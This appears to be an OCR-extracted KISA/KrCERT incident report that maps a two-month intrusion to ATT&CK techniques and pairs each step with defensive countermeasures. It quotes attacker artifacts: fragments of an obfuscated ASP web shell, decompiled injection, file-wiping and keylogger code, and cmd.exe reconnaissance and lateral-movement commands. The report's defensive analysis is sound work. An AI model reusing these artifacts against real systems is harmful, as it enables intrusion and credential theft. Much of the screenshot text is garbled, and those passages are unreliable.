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1.

Introduction

o As hacking incidents continue to occur with ever greater frequency these days, security

requirements are becoming increasingly stringent, and the capabilities of security systems
are evolving to a very high level. Nevertheless, past cyber incidents still continuing to occur
and even companies with well-established cyber-defense systems are not immune from such

cyber threats.

The Pyramid of Pain, a well-known concept in the field of cyber-security, shows that the
most effective form of defense for defenders consists in understanding the TTPs (Tactics,
Techniques, Procedures of attackers) and operating the cyber-defense system accordingly.

Security is to get attackers to the Tough! level shown in the pyramid.

A Tough!

Challenging

Annoying

Simple

Easy

Hash Values
Trivial

Figure 1. Stress levels on attackers corresponding to the responses to each indicator, David J Bianco

o As ever, a defense system based on the loC (Indicator of Compromise), which refers to a
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simple indicator such as a malicious IP or domain, is very useful. But it is possible for an
attacker to easily secure and then discard an attack infrastructure related to a simple

indicator.

However, the TTPs approach is different. Attackers cannot easily obtain or discard the TTPs.
An attacker who selected a target spends a lot of time learning and practicing the TTPs in
order to disable the target's defense system, and then the attacker selects new targets to

which the secured TTPs can be applied.
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Korea Internet & Security Agency 2

o Attackers’ TTPs are always closely associated with the nature of the defense environment.
Thus, defenders must be well aware of their defense environment and view the flow and
process of attacks from a strategic and tactical perspective, rather than as a pattern or a

technique. The defender's environment and the attacker's TTPs must be collectively
considered.

o A defender who understands the attacker’s TTPs should be able to answer the following
two questions;
- “Are the attacker's TTPs valid for the defender's environment?”

- “If yes, what are the defense strategies that can disrupt the TTPs?”

o The Korea Internet & Security Agency (KISA) and KrCEERT/CC identify attackers’ TTPs
through its incident response process, and then shares the information on how to respond
to and counteract incident based on the ATT&CK Frameworkl). Various artifacts related to

TTPs included in this report are tools to assists readers in understanding the TTPs.

1) A matrix showing the tactics and techniques used in the actual attacks as well as the countermeasures.
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2. Overview

o The KISA analyzed a system that had been under attacks until recently for two months and

came up with the following TTPs by aggregating the collected information.

Access privileges Malware execution Information exfiltration

Keyloggers Service registration (SC) Web logs
Vulnerabilities in privilege escalation Scheduler registration (AT) In-house information

@ Initial Access

- The attacker first attempted to access the company’s website that was exposed to the public.
It is presumed that credentials in the website were collected through unknown methods in
advance since the attacker succeeded in logging in to the system via a specific account in

the first attempt.

- Then the attacker took control of the server by uploading a web shell using vulnerabilities in

the file upload mechanism of the bulletin board.

(@ Access privileges

- Since the attacker acquired access privileges using the web shell, he/she only had web
service privileges. Thus, the attacker tried to escalate privileges by exploiting vulnerabilities in

the operating system for additional malicious acts.

- Keylogging malware was then installed to collect additional credentials.

(3 Lateral movement

- After succeeding in privilege escalation, the attacker used the network sharing function to
further spread malicious codes. At this time, the attacker accessed the server by using the

same account or the session maintained in the server.

@ Malware execution

- Then, the attacker registered and executed a malicious code in schedulers using “at”

command or registered and executed it as a service using “sc” command.
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(® Trace removal

- The attacker removed the traces of attacks by deleting event logs or malicious codes in the
server when he/she completed the attacks or stopped using the server as a temporary base

for infiltration.

® Information exfiltration

- The attacker finally collected internal information as well as web logs in the case of a web

page server, through commands of malicious codes.
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3. ATT&CK Matrix

Initial Access Execution Persistence Privilege Escalation Defense Evasion Credential Access
| I D D
Valid Accounts Service Execution ) New Service . New Service . Indicator Removal on Host . Credential Dumping
Exploit Public-Facing Application Scheduled Task ) Redundant Access . Web Shell . Redundant Access . Input Capture
Command-Line Interface {0 Valid Accounts . Exploitation for Privilege Escalation . Network Share Connection Removal . Brute Force
Execution through API () Web Shell @ valid Accounts @ File Deletion
Execution through Module Load . Scheduled Task . Obfuscated Files or Information

. Masquerading

. Process Injection

Discovery Lateral Movement Collection Command and Control Exfiltration Impact
I DY D
Account Discovery Windows Admin Shares Data Staged . Commonly Used Port . Data Compressed
Remote System Discovery Remote File Copy Input Capture . Standard Application Layer Protocol . Data Transfer Size Limits
System Information Discovery Data from Metwork Shared Drive . Data Encoding . ?;E:::Im i
Systemn Network Configuration Discovery ‘ Standard Cryptographic Protocol
Systern Network Connections Discovery ’ Multi-Stage Channels
System Service Discovery . Rermote File Copy

File and Directory Discovery
Process Discovery
Systemn Owner/User Discovery

Application Window Discovery
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o Initial Infiltration

- The attacker logs into the company's internal website using a previously collected

valid account.
2019-06-07 82:40:07 211.115 GET /default.asp islogin=Y&stf id=] n&stf name=

tf cId=A&stT bId=B&stf tId=F&stf cName: &stT_tName=
&stf usertype=U&stf userlevel=6&stf STleCode=A&stf woalcode=D&id cookie= 80 - 61.254.

- Access control by user IP

- Monitor web logs to detect any access from an unauthorized IP address

- The attacker uploads a web shell (view.asp) by exploiting vulnerabilities in a file
upload page (board_write_ok.asp) on the bulletin board of the company's internal

website.

2019-06-07 211. ] 4 p
2019-06-07 02:42: : J ol = - 61.254.

GET /board/data/data/view.asp - 80 - 61.254.
POST /board/data/data/view.asp - 80 - 61.254
GET /board/data/data/view.asp - 80 - 61.254.
GET /board/data/data/view.asp oej=psx 80 - 61.254.

- Take a measure to only upload files with specific extensions using the white list in a
file upload page
- Remove execution privileges in the file upload path and monitored whether files with

specific extensions (.asp, .cer, .html, .php, etc.) were created.

a_
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o Execution

® Command-Line interface

- The attacker uses a web shell to additionally download a custom CMD program

disguised as a picture file (info.jpg) and executes a command with

a m_mﬁ_mm
a, udlt Success 2019 06-12 = 593 Security MT =5 #5-1-5-21-1827578727-812098145-20
2 Audit Failure 2019-06-12 23 599 Security N =5 HWSYSTEM
4 Audit Failure 2019-06-12 2E 599 Security MT =5 WSYSTEM
\\ Audit Success 2019-06-12 23 09:23 600 Security M = XN WSYSTEM
“, Audit Success 2019-06-12 2= 3:09:23 592 Security MF -5;@\ #SYSTEM
gl Audit Failure 2019-06-12 2= 3:09:01 861 Security M= =5 NT AUTHORITY#NETWORK SERVICE
Audit Failure 2019-06-12 22 2:44:19 529 Security EIE/EO2E FSYSTEM
Audit Failure 2019-06-12 2% 2:44:19 680 Security A =02 WSYSTEM
Audit Failure 2019-06-12 2% 2:44:15 529 Security 20 WSYSTEM
Audlt Fallu{e 2019-06-12 2% 2:44:15 680 Security A8 =232 HWSYSTEM

il Sninns 10 & aeanan £ Cnr it =aeimaow wcveTEm
AH g e HEfsUCt.
A Z2MAID: 664

o101 e 015 C:vwn R oo

QHE Z2M A ID: 3836

uonduosag bbb
-

APER 018 NETWORK SERVICE
=2 NT AUTHORITY
2321D: (0x0,0x3E4)
EZgtsFAl, (null)

- Monitor if a program without the “.exe” extension is executed.

- Detect a program executed in a web directory path.

@ Scheduled Task : After infiltrating the system, the attacker registers the malicious

code in the task scheduler to execute it.

2R E CHE &8 AZH] ORRIS g3 Al Opzist
@ Al Z=H  2019-06-26 S5 3:06H 2013-05-26 2% 30550  SE0| =0 a4 S2ULICE (G130
ok A2 ZEHl  2019-05-14 2T 100160 2015-08-14 28 101500 AEE Z27 F2EHSLICH (E00700418
o ALY ZHI 2019-08-14 23 10:150 2019-08-14 27 |0:14:59 R 28 ZEN FRESSLICH (G«B0070041)

|Ean 88 |=3 |4z |22 |
TYE DE AR Y0 AIEHE M DS FXE NHHO TLICH 0 SHE YUSIAB [S4] TTE ALBO0IRY 4 WOFE oluAL.

A [EE]
ZEM AN Co\Windows\Tempitaskhost.exe

IM

Save and monitor logs by enabling the “Microsoft-Windows-TaskScheduler/Operationa

setting from the event logging service

) Eaul*lu“[“akﬂlﬂ
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(® Service Execution

- The malicious code previously executed via a scheduler registers and executes an
additional malicious code.

(T-E 2019-08-07 2 115059 Service Ccntml Managﬂ
@z 2019-06-07 28 11:59.59 Service Control Manager
Mre 2M108.N06.07 O F 12000 Fuant| nn

<

0|5 E 7036, Service Contro! Manager

1

At s

Windows Helper Management Service AME| 27 F HEIZ EXTeUD

2019-06-07 27 17:59:59 Service Control Manager

ManANT OE 120000 Fuart nn

S| ¥E 7030, Service Control Manager

CEINS L

Windows Helper Management Service AMBI27} CREH| ME| 22 SAISI0f S LICH TRL} A|ZH0| CHEA] MUIZ8 SHESE| BELICL Of ME|=2t FE
= ARSI BE S5 FSUD

counter-

measure

- Identify abnormal services by monitoring new service execution (event ID 7036) and
errors (event ID 7030) in system logs.

QIELUEOHLHS A
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@ Execution through API

- The malicious code receives a command from a C&C (Command and Control) site and
calls the CreateProcessW and CreateProcessAsUserW functions to execute additional

processes.
if ( a2 == @x9785364F )

memset(Dst, 8, @x68uisd);

[e] = 1e4;

Dst[15] = 1;

LOWORD(Dst[16]) = @;

if ( (21->_CreateProcessW)(@ie4, v3, eie4, 0ie4, @, @, eie4, eie4, Dst, v6) )

Ds

+

vl7 = vid++ * v16;
*(&v42 + v15 + 3) = v17 * 0x33; // winsta@\default
}
while ( vi4 < 3@ );
*(&v43 + ) = e;
memset(Dst, 8, @x68uisd);

D 9;
if ( (al->CreateProcessAsUserW)(v26, @i64, arg a2, eis4, eie4, @, 1824, v22, @ie4, Dst, &v23) )

- Install an anti-virus software and activate real-time detection.

(® Execution through Module Load : Loading and executing a DLL code

- Executes a malicious DLL code (wmisrvmonsve.dll) as a service.

I B [E 7] svehost.exe <001 09132 K 469512 K 5209 Host Process for Windows Services
[ | faskeng exe 4505k TIL7ZEF. JE80 =y A=) I

taskeng.exe 2624K TIEGE  Fed HE AH S HE
wuauch.exe 2,904 K B2k 3900 Windows Update
Esvchost.exe 3824 K b.772K 5480 Host Process for Windows Services

Mame = I Description I Company Mame | Path

- Install an anti-virus software and activate real-time detection.

- Use a Windows default program (AppLocker) that prevents unknown DLLs from being

uploaded.
) . |% OIE|LIAIOHCHSAVE]
IEOI?UIIIS’.%I -
ISA L Ao
https://t. mefl8arningriets ™ === il o
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o Persistency : Maintaining persistency

® New Service : Creating services

- When a malicious code is registered as a new service, it is automatically executed at

every reboot.

W25 MI06-07 2T 11:50:59 Senvice Co,.,
DEE 2019-06-07 27 11:53:59 Senice Co..,
(=Y M019-06-07 2= 12:00:00 EventLog

()EE MI9-06-07 2T 115725 Senvice Co..,

QIHE 7045, Service Control Manager

gt |IH¢||6‘||

MBI M= X L O

M= 0|2 Windows Helper Management Service

M= o 9|2 %SystemRoot%WSystem?iMsuchostexe -k netaes
MU~ 28 ALREFOC M~

HEl= NE RE: AHE AR

- Identify abnormal services by monitoring new service registrations (event ID 7045) in

system logs.
D¢ oI0IEUIXI=S [ioe RSRrS s
ISA S 21—} =29 , KrCERT/CC
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@ Redundant Access

- The attacker secures an additional access path by inserting a web shell into a web

page after installing a malicious code.

GIF89at € Yo¥ayyyitr! 1.t 11 EidAzS]

Two
password: submit

- Examine suspicious files or pages created at the time of the attacker's infiltration.

> OIZOIF|UIXIZSS) [ ‘I’%E%éé'ﬂﬂnt_li_%!gg
e S5 -.u-.-!.\.w,--- RNET SECLMRITY CEMTER
https://t.mefi&arningn e T
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The attacker

dEH UE/MI 202
AHER OIS
el
222 1D:

202 /E:
22 TN
k=3 EIPAH
HIA=EOlH 015
222 GUID:

ZERLALEFL 0I5

o]
ol
in
a

i
o
)

SER Z2 M| ID:
HEE AfHIA: -

repeatedly logs in using the account obtained after the initial infiltration.

Administrator

(0x0,0x33FC40EE)
3
NtLmSsp
NTLM

211115

0

- Access control by user IP

- ldentify any connection from abnormal IP address by monitoring an access from the
outside (event ID 4648) in system logs.

- The attacker controls the server by accessing a previously inserted web shell.

s
- Examine suspicious files or pages created at the time of the attacker's infiltration.
> -=o % OIE|URIDHCHSAVEY
. nnsﬁ. 9.'3@'% s —pic| ==, KrCERT/CC
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o Privilege Escalation
® New Service : Creating services

- When a malicious code is executed as a new service, a system privilege is obtained.

25 019-06-07 2T 11:59:59 Service Co,.,
(HEE 2018-06-07 27 11:68:59 Service Co,,,
(HEE 2019-06-07 2% 12:00:00 EventLog

(EE 2019-06-07 27 11:67:25 Service Co...

DM E 7045, Service Control Manager

% | xpge |

A=Y A =TF 2T E S LD

MH|=~ 0|2 Windows Helper Management Service

M2 OHe Q)& %SystemRootiwSystern32Wsvchost exe -k netsves
M= 88 AMRAOC M=

M= A 38 AL AL

LET BIRE T TR SR

- Identify abnormal services by monitoring new service registrations (event ID 7045) in

system logs.
Disable the administrator accounts and enable the User Access Control (UAC) of

administrator group accounts.

QIE|LIEIOHCHSAVE]

KrCERT/CC
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- The attacker can perform a malicious act using a web privilege obtained via a web
shell.
Board_BBS.asp D2 Hot 2H HE
NE B 2 257 | 23 AE 2E

AFERHHH BRE HEH| 220 I

E
k-
10
H
111
P
ol
r—
4
of
L3
1

0
Il
i
]

O Zh=2] &I =5 RHC):
SIHS HAE HE )
=JE [IE2E HA0)

0g

€ Administrator drministrator)
€7 Administrators| Adrninistratars)

JIEF 23 AFEA R S

F
a
i}
D
[

e
i
K
>.
al
o
=

- Examine suspicious files or pages created at the time of the attacker's infiltration.
- Remove the execution privilege in the file upload path and monitor whether files

with specific extensions (.asp, .cer, .html, .php, etc.) are created.

[ QIE|LIAIHCHS AE]
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(® Exploitation for Privilege Escalation

- The attacker uses OTTF files’ vulnerabilities (CVE-2016-7256) for privilege escalation.

- Targets are the Windows systems that have not been patched since November 8, 2016.

LOHE(F) WE(E) M40y 22t TEEH)
lnrm 8| T ECFF |7 B TTESUB,S/H EP HOS/ZeM? § Tcnmap 0 sheadB? shhea*®+ @  ShotxE+£ ED  Ema:
[T AL I iz2 TEHE W OKM £2&8 £

T EOWR £ REETLEN 1L S0 ERE DE0 TEELER RESERRICESR ¥ SR W SRR R
t @ W<E A | IR I | 1< 4 1HE AN 7% A0 £<¥ 40 Ti¥F @ <¥F Amn o
(http://www.adobe.com/).aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaRegularaaaaaaaaaaaaaaaaaadddaaaaaaaaaaddaaaaaaaaaaaadaaaaaaaaaad
1.0.82;makeotf.1ib2.5.63406a223332232333322333323333333233332333333323333333333333aaaaCopyright 2014, 2815 Adobe Sys
(http://www.adobe .com/).aaaaaaaaaaaaaaaaaaaaaaaaaaaaaalegularaaaaaaaaaaaaaaaaaadddaaaaaaaadaddaaaaaaaaadaadaaaaaaaaaad

1.0.82;makeotf.1ib2.5.63406aaaaa2a233332333323323332333233223333323233232233333323A332333333333aA3aaa333aaaaAaaaaa33aad
ated {http://www.adobe.com/).aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaalersion 1.002;PS 1.002;hotconv 1.80.82;nmnakeotf.lib?2.
433a3aaaaaaaaaaaaaaagaaaaaaaaaaaaaaaaaaaaRegularCopyright 281
a33aaaaaaaaaaaaaaaaaaaailaaaaaaaaRegularaaaaaaaaaaaaaaaaaaaaaai
2;hotconv 1.8.82;makeotf.lib2.5.634006aaaaaaaaaaaaaaaaaaaaaai
aaaaaaaaaRequlatr £ L nm{ M £ aii aijijiiz_£ 7 s £ w2 fana B E QAN
|a3aaaa323333333332333333333333333333333333333333333333333333333333333332333333333333333333333333333333333333333333333d

- For Windows XP or lower, upgrade the OS; for later versions, download the latest updates.

2 BI0IFLIXIZS) (=< i Lo
S i o ' r . o
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@ Scheduled Task : Valid accounts

- After acquiring administrator privileges, the attacker registers a malicious code in

schedulers to secure system privileges.

2015-12-03 27 95400 iz Ble
|28 |2 |
D CHWINDOWS W T asksWHat!, job
AR [Crttiindows i Termpitaskhosiex sia
A= FT: |
) ZHE T NetsScheduledobAdd
|
¥ tE =R AR S REE Al a2 )E)
=z Ha 24

- Monitor abnormal task schedulers run with system privileges.
- Disable administrator accounts and enable the User Access Control (UAC) of

administrator group accounts.

2 BI0IFLIXIZS) £ couaunsae
riRgNets = s KnCERT/CC
https://t. me/l8arniAgh BATS sy (S
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o Defense Evasion

@ Indicator Removal on Host

- The attacker deletes the system log on the host, making it difficult to detect and

analyze activities accurately.

wentlog

‘

O|H E 104, Eventlog

HE ]waw

Systern 27 TR0 ARG SLICE

2198 A8

A28 Eventlog ZIE0) 2019-06-25 2 6:1151
O[HE (B} 104 AAHEY 21T

=E(L): e AR

BTG e 2EER

Dpcode(D): e

=7 E(); QBIE 21 2a E2T

- Monitor system log deletion events (event ID 104).
- Monitor security log deletion events (event ID 1102).

- Back up event logs on a regular basis.

X OIZOIF|UIXIZSS) |% EE%EUEFH'%EE
ISAS T o 5, KrCERT/CC
https://t.mefl8arning I%s*"’ g, KTCERT/(
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@ Redundant Access

- The attacker maintains an access path by inserting a web shell in various paths.
- The attacker obfuscates the web shell with vbscript.encode or evades a detection by

msertlng the web shell in a GIF file header.

B BSIE JElig) B EERIH
‘fF[FWJI (TS %ryyyt?E £, nn w g
||server .scripttineout=608
||response .buffer=true
[|response .expires=-1
[session.tineout=600
‘l'lfl BFFOr resume next
const vgo="adnin"
|const man="want pre.asp”
[const nkw="redhat"
|const pxo="redhat”
:I:ﬂl\S[ yde="redhat hacker”
|eonst win="redhat.html"
1<
/|const dbx=""
|const yue=False
[|eonst xim=true
e
[lpublic  br,yqu,gbe,ydo,yka,wzd,sod,und
[s0d="<D7SOUHFIRWIATA" ;. />7s9B0V2iqR 1200 knk} | DcB UR B )-_=+[FpHe1THPo RuJ2SXwybontCHrhgdE~1ERs], {;"
(umd="g<z {mSIrZN0ILT ;' sYWESST ReCdquhBRaJNUT Y |  TAXHEZES JGPFOKOU_=+ [ [WIQF ReDibCyeKonUTtup™t@-{. /27"
(uka=" qobquidheMd efrave = sBLr/ FUK/ ($FurdSL, 3083 =S$Fur§SL, SrddPdon™ SdoHIeWdK,efr CF jSwep™hus™AEY_Ke_,WgAh™bKd™ Al
AT YR/ Ak lmmuuhnsuUr;nnqnf"nuwmmmmm i/AAghE™ A"ctAZe_b2AZan /Ky lnmqesdeUrmnnhf“ﬂWHBL Wan/AaghE==25Td~ |
|nunekt UksdediunZ Dho2n L WIR/AKY KAZA uUASAUr ZARGHFTAY <FIRL MJA/AHI (RohF==3C0 “AEUTORANAHI*Ar b REUCECU0RALINCIDN +3el R

- The periodic use of a web shell detection tool (WHISTL) provided by the KISA is
recommended.

- https://www.boho.or.kr/download/whistlCastle/whistl.do
(® Network Share Connection Removal
- After finishing a task via a network share connection, the attacker ends the shared

connection to remove traces.

- cmd.exe /c "net use \\[Target IP] /d > "%s" 2>&1" edgl73F.tmp

- Monitor commands and parameters.

)
It mefEAG SRS
https://t.me/learningnetss— ==
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@ File Deletion

- The attacker uses a malicious code to overwrite a file so

after deletion.
while ( vi15 );

vlé = L".tmp~0083";

v1l7 = wesrchr(NewFileName, ') - L".tmp~@EBe3";
do

{

i

while ( vi18 );
MoveFileW(arg_ ,
(v2->_DeleteFilelW) (N =
(v2=> CreateFllew)(.eu

that it cannot be recovered

_file = leName, @x40008000i64, 3i64);
memset(mem_size 1280, 210, exleeeuiss);
V20 = 4096;
do
{

(v2->_WriteFile)(h file, mem size 1006, Ox1000i64,
v2e += v27[e];

while ( v2@ < File_
(v2-> WPlteFlle)(h
(v2->_CloseHandle) (h_

File_Size_v7

mem_size_le@e,

- v2e

v27, eie4d);

+ ox1eee, v27, @i64);

- Install an anti-virus software and activate real-time detection.

(5 Obfuscated Files or Information

- The attacker uses keylogging malware to encrypt collected information with the XOR

algorithm and then save it in a file.

Input

}zKrpgifpvAry” qqjtwjtuM’ 1" b= [#2V3V84° 5Q< 5%26%2 =1 4! '%%k4” 545% [Vb}zKCTRCMK8?=EM& }zKrpqifpviru’ qqjupipgh 1 bEHE &

b}z) 0#'5‘4%2KEA472M}z}zKrpq1 pvAru’qgjupipvM 1" b= F#2¥3¥84 SQ<" 5%26%2°

[2019.06.25 11:47:45] - "Microsoft SQL Server Management Studio"
[CTRL] [HOME]

- Install an anti-virus software and activate

start: 193462
end: 193402 :
Length: FRELiges: d

THIRE

length: 193402

'%-%k4" 5458 [¥b}zKEk4%2M} 2 } KrpqlApv“ru qqjupjphM’ [ bEIE &

L)tk AL AA AL AL L T AL T AL AT A AL LT L AL T AL AL L T L AL PR AL AL P T AL AT AL PR P

time: 53ms
length:
lines: 2487

real-time detection.

CIE|UIEIGHCHSAVE]
KrCERT/CC
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- The attacker masquerades the names of service and malicious codes used in the
attack so that they look normal.

- Service name: Windows Helper Management Service

- Malicious code path : C:\Windows\System32\wmisrvmonsvc.dIl

- Malicious code path : C:\Windows\System32\nwsapagentmonsvc.dll

- Malicious code path: C:\Windows\System32\irmonsvcstd.dIl

- Malicious code path : C:\Windows\System32\perfcon.dat

- Malicious code path : C:\Windows\Temp\taskhost.exe

- Malicious code path : C:\Windows\Temp\taskhostex.exe

- Malicious code path : C:\Windows\Temp\ntuser.dat

- Malicious code path : C:\Windows\Temp\service_dIl.txt

- Malicious code path : C:\Windows\javaw.exe

- Malicious code path : C:\Windows\SoftwareDistribution\Download\BIT[4 digit number].tmp

- Install an anti-virus software and activate real-time detection.
- Monitor files created in the paths frequently used to create malicious codes.
(System32, Windows, Windows\TEMP, Windows\SoftwareDistribution\Download)

> A QEIANCISAE
( oo = Rl
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@ Process Injection

hﬁszﬁJneﬁ

- The attacker injects an additional malicious code into explorer.exe to avoid detection

by anti-virus softwares, etc.

v34 = (vi->VirtualAllocEx)(hProcess, @, v56 + v51, 4896, 64);
->WriteProcessMemory)(hProcess, v34, , V56, 8);
/1->WriteProcessMemory) (hProcess, V56 +

->memcpy
(vio + 7)

(v25, &v34, 4);
-7937;

)

C

(vi->dwordC8)(hProcess, vi->BaseProcessInitPostImport, vi->num_Bx@0261EA4,

V53 = =723

(vi->memcpy)(v26, &34, 4);
*(v19 + 5) = -7937;
(vi->WriteProcessMemory)(hProcess, vi->ZwClose, vi9);

0

v1[4].CreateProcessA = (v1->RtlGetlLastWin32Error)();

- Install an anti-virus software and activate real-time detection.

ISA™S

)V UlgOl%*IUIIIgQ.
éarningn

vi9, 9);

OIEIAIOHCHS AV

KrCeE
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o Credential Access : Access to account information

- The attacker collects credentials after intrusion using a password stealing tool called
PWDUMP.

- The file contains “Isremorea.dll” is the result of a crash occurred when the attacker attempts

to elevate privileges. It can be one of the evidences that the attacker used PWDUMP.

EWEHBEB[I,tmp,appcompat AN3-06-25 2= 1002 HAE 24
& wisrvmansye, dll 2019-06-25 2% Bi5g S8 IzH %
{1/ ' B oydmdeiin mdlale PEACL M4 A4 k1 dE 1 AN Ac Aar o= N AWKICE DT wWinl

Bl WERBSBA0.tmp, appcompat - HE 2
maF BEE Mo 230 Es2iH)
k7xm] version="1.0" encoding="UTF-16"7»
<DATABASE>
<EXE NAMES BITLO03. TMP] FILTER="GRABMI_FILTER_PRIVACY ">
<MATCHING_FILE WAME="Tsremora.d]11" sIZE="15872" CHECKSUM="(0xFECC3F22" MODULE

=|| n E_CHE
LIMK_DATE="10/28/2015 01:48:34" UPTC_LINK_DATE="10/28/2015 01:48:34" EXPORT_N#ME%"hremura.dH"‘i>

- Install an anti-virus software and activate real-time detection.

- Check crash log files (WER™) that are frequently created during credential dumping.
(%SystemDrive%\ProgramData\Microsoft\Windows\WER)

QIE|NEIOHLHEE

, OISOIF QXIS =] KrCERT/CC
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@ Input Capture

hﬁszﬁJneﬁ

23

: Stealing keyboard inputs

- The attacker installs keylogging malware in the system to collect credentials

by administrators and users.

- Storage path : C:\WINDOWS\Temp\msvcrt000.xml
: C:\WINDOWS\Temp\nsvcrl001.x

L dala:0000000 7 ...

- Storage path

coooooos
00000004

. 0OVODOOA
L O0o0000e
. 0000006
. DOVOVVOA
i YeYaYaTtatatrd
" . coooDoOs
rdata:00000001. .
rdala:0000000T ..
AataOO0O00T .
. ocoocoooos
. voVOLVOOE
. ooooooos
. DOVOBOO7
L 0000009

oooonons
cooooooo
©OOO000

cooooons
QOOO0000
cocooocoo7

. COLOOOOT
rataz00000001 ..
S dala:0000000T ...
rdataiiOO0a000T ..
relata:00000001. .
rdata:oo00000T ...
. coooooos
. covoLoOS
. aooonoos
. DOCODOO7
L0000 £
I - YeYaYaTotatal =y

Q000N006
felclelotelololg
Q000005
cocooo0os
VOLOOVOS

VOLOVLLE

. coooooo7

ml

NENAAAONCATONONANTONCNTAANNCNNNN

SLEER
sre

Del

13
[RNS|
LLnter]wrwn
[CTRL]
rALT]
reausrl
[HANGULY
ISP
[FiNALY
LHANDIAL
rescl
[comvI
INCOCCImNv
[ANCCEPT]
LAA13€ 1 k5]
PSLUPY
ESl=T=Y.N5]
rENm1
[HORME]
e

wel

LRl

=1 ]
[SELECT]
rPRINTI
[EXEC]
ISANEL
[{ENESS
LOEL)
rHELP]

- Install an anti-virus software and activate real-time detection.

p
ISA & OF
earn

entered

OIEIAIOHCHS AV

KrCERT/CC
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(® Brute Force :

Brute Forcing of Account Information

- The attacker randomly attempts to log in to other systems using collected credentials.

";'La Audit Success
:,5“ Audit Success
i'\g Audit Success
’.kh Audit Success
Qh Audit Success
7{ Audit Success

LW Audit Success

uonduasag

I 21E GuD:
At S0 ALEE A,
HE olE:
HE =0,
212 guID:
|2 M
CH& AHE o5,

=7} =,

- Access contol by user IP

2019-06-10 10:17:33
2019-06-10 T 10:17:27
2019-05-10 T 10:16:17
2019-06-10 10:07:57
2019-06-10 10:07:47

2019-06-10 10:00:22

0x9at3
{00000000-0000-0000-0000-000000000000%

WORKGROUP
{00000000-0000-0000-0000-000000000000%

- Monitor system logs to identify random attempts to access other systems (event ID 4648).

o Discovery

@® Account Discovery

accounts

The attacker discovers accounts,

such as local system or domain

- cmd.exe /c "net user > "%s" 2>&1" edgl73F.tmp

- cmd.exe /c "net user Administrator > "%s" 2>&1" edgl73F.tmp

- cmd.exe /c "query user Administrator > "%s" 2>&1" edgl73F.tmp

- Monitor commands and parameters.

p
ISA S

https://t. mefi8arn

OIEIAIOHCHS AV

KrCERT/CC
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- cmd.exe /c "net view > "%s" 2>&1" edgl73F.tmp

- Monitor commands and parameters.

- cmd.exe /c "systeminfo > "%s" 2>&1" edgl73F.tmp
- cmd.exe /c "hostname > "%s" 2>&1" edgl73F.tmp
- cmd.exe /c "ver > "%s" 2>&1" edgl73F.tmp

- Monitor commands and parameters.

- cmd.exe /c "ipconfig /all > "%s" 2>&1" edgl73F.tmp
- cmd.exe /c "arp -a > "%s" 2>&1" edgl73F.tmp
- cmd.exe /c "C:\Windows\System32\inetsrv\appcmd.exe list site > "%s" 2>&1" edgl73F.tmp

(Discover the list of domains you are hosting)

- Monitor commands and parameters.

) |ﬁ EE1':’J§UHEHQ—“‘;’E,'E1
. KrCERT/CC
htt SZ//t. nISI\ m : p L= e e b
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(® System Network Connections Discovery : Discovering network connection status and session

information

- cmd.exe /c "netstat —ano | find “ESTA” > "%s" 2>&1" edgl73F.tmp
- cmd.exe /c "netstat —ano | find “LIST” > "%s" 2>&1" edgl73F.tmp
- cmd.exe /c "query session > "%s" 2>&1" edgl73F.tmp

- Monitor commands and parameters.

(® System Service Discovery : Discovering service information existing in the system

- cmd.exe /c "sc query nwsapagent > "%s" 2>&1" edgl73F.tmp
- cmd.exe /c "sc query w3svc > "%s" 2>&1" edgl73F.tmp
- cmd.exe /c "sc queryex w3svc > "%s" 2>&1" edgl73F.tmp

- cmd.exe /c "sc query [Service name] > "%s" 2>&1" edgl73F.tmp

- Monitor commands and parameters.

(’ f OIE|LIAIDHC S A
| J - ey

hﬁszﬁJneﬁgﬁnwﬂgm
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@ Find and Directory Discovery :

- cmd.exe /c
- cmd.exe /c
- cmd.exe /c
- cmd.exe /c
- cmd.exe /c

- find.exe

Discovering the file and folder information

- Monitor commands and parameters.

Process Discovery :

Discovering process information

"dir C:\Windows\System32\ntoskrnl.exe > "%s" 2>&1" edgl73F.tmp
"dir C:\Windows\System32\atmfd.dll > "%s" 2>&1" edgl73F.tmp
"dir C:\Windows\System32\kernel32.dll > "%s" 2>&1" edgl73F.tmp
"dir C:\Windows\System32\calc.exe > "%s" 2>&1" edgl73F.tmp
"dir C:\Windows\System32\notepad.exe > "%s" 2>&1" edgl73F.tmp

- tasklist.exe
:14:05| 592 ||NT AUTHORITYWNETWORK SERVICE
2019-06-12 22 5:14:05 592 NT AUTHORITYWNETWORK SERVICE
2019-06-12 2% 5:13:47 593 WSYSTEM
g N RS ASASYT
ﬁ il EMLD; 2740
g Oi %] It 2 O &: C:YWWINDOWS Weystem32Wtasklist.exe
JE EEZ M4 ID: 3360
AR OE NETWORK SERVICE
3 Ryl NT AUTHORITY
EIOZmD: (0x0,0x3E4)
ESHd=E4: ()

- Monitor commands and parameters.

- Check process execution

logs in the main server by activating

policies]-[Local policies]-[Audit policies]-[Process tracking audit].

>
https://t. nel8arningn

M

[Local

security
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(® System Owner/User Discovery : Discovering the information of system owner and user

- whoami.exe

||

e T I

[ 2019-06-12
| 2019-06-12

22 5:01:21 593 |NT AUTHORITY'WNETWORK SERVICE

uopdinsac

2= 5:01:20 | NT ALTHORITY WNETWORK SERVICE
2% 5:01:20 592 |NT AUTHORITY WNETWORK SERVICE

£ ¥EsUTL

MIEZEEMAImD: 248
GOl & Zt'E O &: C:WWINDOWS Wsystem32Wwhoami.exe
BE ZTZMA ID: 1564

MBI OIS NETWORK SERVICE
= el NT AUTHORITY
EI21m: (0x0,0x3E4)

EZd=EY: ()

counter-

measure

- Monitor commands and parameters.

- Check the process execution log of the main server by activating Process Tracking
Audit: [Local Security Policy]-[Local Policy]-[Audit Policy]-[Process Tracking Audit].

Application Window Discovery : Discovering the list of the program windows that are

https://t. mefft

currently open

- The attacker uses keylogging malware to collect the list of title bars of currently

running programs.

hiwnd = GetForegroundWindow();
dword_180811434 = @;

v3 = hWnd;
if ( gword_180011438 != hlind )

{

GetWindowTextA(hWnd, WindowString, 1€@);
GetlLocalTime_sub_1l18eee120e(LocalTime);

sprintf(Dest,

"

\r\n%s - \"%s\"\r\n", LocalTime, WindowString);

fwrite_sub_18@€815A8(Dest);
gword_186811438 = v3;

counter-

measure

- Install an anti-virus software and activate real-time detection.

)('Ul' ol

SAS T

éarningn

QIELUEOHLHS A
& KrCERT/CC
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o Lateral Movement : Navigating inside the system

® Windows Admin Shares : Exploiting the basic sharing function of Windows

- cmd.exe /c "net user \\[IP or domain of target system] [Password] /u:[Account] > "%s" 2>&1"

edg173F.tmp
